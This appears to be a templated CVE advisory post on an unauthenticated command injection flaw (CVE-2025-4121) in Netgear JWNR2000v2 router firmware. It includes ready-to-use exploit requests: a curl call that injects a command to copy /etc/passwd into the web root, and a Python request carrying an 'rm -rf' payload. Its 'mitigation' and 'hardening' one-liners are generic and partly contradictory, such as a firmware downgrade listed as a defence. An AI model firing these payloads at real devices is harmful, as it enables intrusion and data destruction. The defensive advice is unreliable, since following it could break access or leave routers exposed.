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How the CVE Works
The vulnerability (CVE-2025-4121) in Netgear JWNR2000v2 firmware v1.0.0.11 resides in the `cmd_wireless` function, where improper input validation of the `host` parameter allows remote attackers to inject arbitrary commands. This occurs due to insufficient sanitization of user-supplied input passed to system shell commands. An attacker can craft a malicious request containing OS commands, which are executed with router privileges, leading to full device compromise. The attack is remotely exploitable without authentication, making it critical.
DailyCVE Form
Platform: Netgear JWNR2000v2
Version: 1.0.0.11
Vulnerability: Command Injection
Severity: Critical
Date: 05/14/2025
What Undercode Say:
Exploitation:
curl -X POST "http://<TARGET_IP>/apply.cgi" --data "submit_button=Wireless&host=$(cat /etc/passwd > /www/passwd.txt)"
Detection:
nmap -p 80 --script http-vuln-cve2025-4121 <TARGET_IP>
Mitigation:
iptables -A INPUT -p tcp --dport 80 -j DROP
Patch Verification:
sha256sum /firmware/image.bin | grep <PATCHED_HASH>
Exploit Analysis:
import requests
payload = "; rm -rf /tmp/;"
requests.post("http://<TARGET_IP>/apply.cgi", data={"host": payload})
Protection:
echo "deny all" > /etc/cfg/firewall.rules
Log Monitoring:
grep "cmd_wireless" /var/log/messages
Firmware Downgrade:
mtd -r write backup.bin linux
Traffic Inspection:
tcpdump -i eth0 port 80 -w netgear_traffic.pcap
Hardening:
chmod 750 /usr/sbin/httpd
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
